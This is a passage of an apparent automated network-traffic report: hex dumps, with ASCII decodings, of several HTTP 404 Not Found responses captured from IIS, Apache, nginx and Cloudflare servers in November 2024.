6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETX-Frame-Options: SAMEORIGINDate: Wed, 20 Nov 2024 15:55:36 GMTConnection: closeContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 15:55:44 GMTServer: ApacheContent-Length: 514Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 72 65 64 22 3e 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 62 6c 75 65 22 3e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 0a 3c 68 31 3e 34 30 34 3a 0a 09 3c 73 6d 61 6c 6c 3e 50 6c 61 79 65 72 73 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 73 6d 61 6c 6c 3e 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 20 2d 2d 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body><!-- partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div><!-- partial --> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 15:55:47 GMTServer: ApacheContent-Length: 514Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 72 65 64 22 3e 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 62 6c 75 65 22 3e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 0a 3c 68 31 3e 34 30 34 3a 0a 09 3c 73 6d 61 6c 6c 3e 50 6c 61 79 65 72 73 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 73 6d 61 6c 6c 3e 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 20 2d 2d 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body><!-- partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div><!-- partial --> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 15:55:49 GMTServer: ApacheContent-Length: 514Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 72 65 64 22 3e 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 62 6c 75 65 22 3e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 0a 3c 68 31 3e 34 30 34 3a 0a 09 3c 73 6d 61 6c 6c 3e 50 6c 61 79 65 72 73 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 73 6d 61 6c 6c 3e 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 20 2d 2d 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body><!-- partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div><!-- partial --> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 15:55:52 GMTServer: ApacheContent-Length: 514Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 72 65 64 22 3e 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 62 6c 75 65 22 3e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 0a 3c 68 31 3e 34 30 34 3a 0a 09 3c 73 6d 61 6c 6c 3e 50 6c 61 79 65 72 73 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 73 6d 61 6c 6c 3e 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 20 2d 2d 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body><!-- partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div><!-- partial --> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 15:56:45 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66e02f2c-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 15:56:48 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66e02f2c-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 15:56:51 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66e02f2c-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 15:56:53 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66e02f2c-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 15:57:00 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeLast-Modified: Thu, 29 Sep 2022 21:53:06 GMTVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q1hmMZPL6xLS5oDdggY7njLBY0BAIVODzUXWNdDYJIEpO77%2F4%2BwyVE1hH2LldhpWknhvZ1n%2BrieMqALARzA89irO0EGwh2UdPLbOhpXeb9vXudOBjH%2FGCjAPLNEyMWRhKPdwCTPvpgUBhUOD"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e59a21f8cfb1899-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1509&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=801&delivery_rate=0&cwnd=162&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 33 34 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 96 cd 6e db 46 10 c7 ef 01 f2 0e e3 3d 7b 45 91 b2 be 0a 92 40 eb b8 49 2f 4d d0 26 40 7b 2a 56 cb 11 b9 28 b9 43 ef 2c 29 ba 6f 63 f4 10 a0 40 9f 42 2f 56 50 51 24 51 71 5a b8 f6 89 3b dc 99 df cc 1f c3 dd 61 7c f1 ea ed f5 fb 5f df dd 40 e1 ab 32 7d f9 22 ee 9f 50 2a 9b 27 a2 f6 f2 bb 9f 44 fa f2 05 40 5c a0 ca 76 2b 80 b8 42 af 40 17 ca 31 fa 44 7c 78 ff bd 5c 88 c1 5e e1 7d 2d f1 b6 31 6d 22 7e 91 1f be 95 d7 54 d5 ca 9b 55 89 02 34 59 8f d6 27 e2 87 9b 04 b3 1c 87 a1 56 55 98 88 d6 e0 a6 26 e7 4f bc 37 26 f3 45 92 61 6b 34 ca 9d 71 09 c6 1a 6f 54 29 59 ab 12 93 f0 21 d2 9a 5c a5 bc cc d0 a3 f6 86 ec 09 d1 63 89 75 41 16 13 4b 0f 85 3a 5a 91 e7 93 00 4b c6 66 d8 1d 7c bd f1 25 a6 6f 88 6b cc 54 8e 15 64 08 3f 1b 8f a0 a9 82 57 54 6d ff b6 86 e0 b5 db de 7b c3 20 e1 0d b1 7f ad 3c b9 38 f8 14 ba e7 94 c6 fe 0e 0e cb 44 70 41 ce eb c6 83 d1 7d a9 85 c3 75 22 02 9d 1b c9 77 1c 98 4a e5 c8 c1 5a b5 fd f6 61 31 32 fa 58 ff 91 f5 18 84 9c 44 a3 da e6 02 d8 fc 81 9c 88 49 d4 4d a2 a7 32 a7 f3 01 73 3a ef a6 f3 a7 32 e7 b3 01 73 3e eb e6 b3 a7 32 97 43 e6 72 d6 2d 9f cc 0c a3 c5 00 1a 46 8b 2e 8c 16 e2 Data Ascii: 34bnF={E@I/M&@{V(C,)oc@B/VPQ$QqZ;a\|_@2}"P'D@\v+B@1D\|x\^}-1m"~TU4Y'VU&O7&Eak4qoT)Y!\cuAK:ZKf\|%okTd?WTm{ <8DpA}u"wJZa12XDIM2s:2s>2Cr-F.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 15:57:03 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeLast-Modified: Thu, 29 Sep 2022 21:53:06 GMTVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5zYhwiW8ceVbqpvMBL%2FNFJqDTrl%2BaA6VitUQfnH0hwRpje6H8n3B0%2FyDdlhZOju9CrqLmQlTeCjewb4ai89XgHLftpO%2FL5z8Z%2Fneh3qKjjljv5PfUfwTD4%2BkGzIO9lj%2Fbslbf3gbXtnplsdI"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e59a2302c080f7f-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1500&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=821&delivery_rate=0&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 33 33 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 96 cd 6e db 46 10 c7 ef 01 f2 0e e3 3d 7b 45 91 b2 be 0a 92 40 eb b8 49 2f 4d d0 26 40 7b 2a 56 cb 11 b9 28 b9 43 ef 2c 29 ba 6f 63 f4 10 a0 40 9f 42 2f 56 50 51 24 51 71 5a b8 f6 89 3b dc 99 df cc 1f c3 dd 61 7c f1 ea ed f5 fb 5f df dd 40 e1 ab 32 7d f9 22 ee 9f 50 2a 9b 27 a2 f6 f2 bb 9f 44 fa f2 05 40 5c a0 ca 76 2b 80 b8 42 af 40 17 ca 31 fa 44 7c 78 ff bd 5c 88 c1 5e e1 7d 2d f1 b6 31 6d 22 7e 91 1f be 95 d7 54 d5 ca 9b 55 89 02 34 59 8f d6 27 e2 87 9b 04 b3 1c 87 a1 56 55 98 88 d6 e0 a6 26 e7 4f bc 37 26 f3 45 92 61 6b 34 ca 9d 71 09 c6 1a 6f 54 29 59 ab 12 93 f0 21 d2 9a 5c a5 bc cc d0 a3 f6 86 ec 09 d1 63 89 75 41 16 13 4b 0f 85 3a 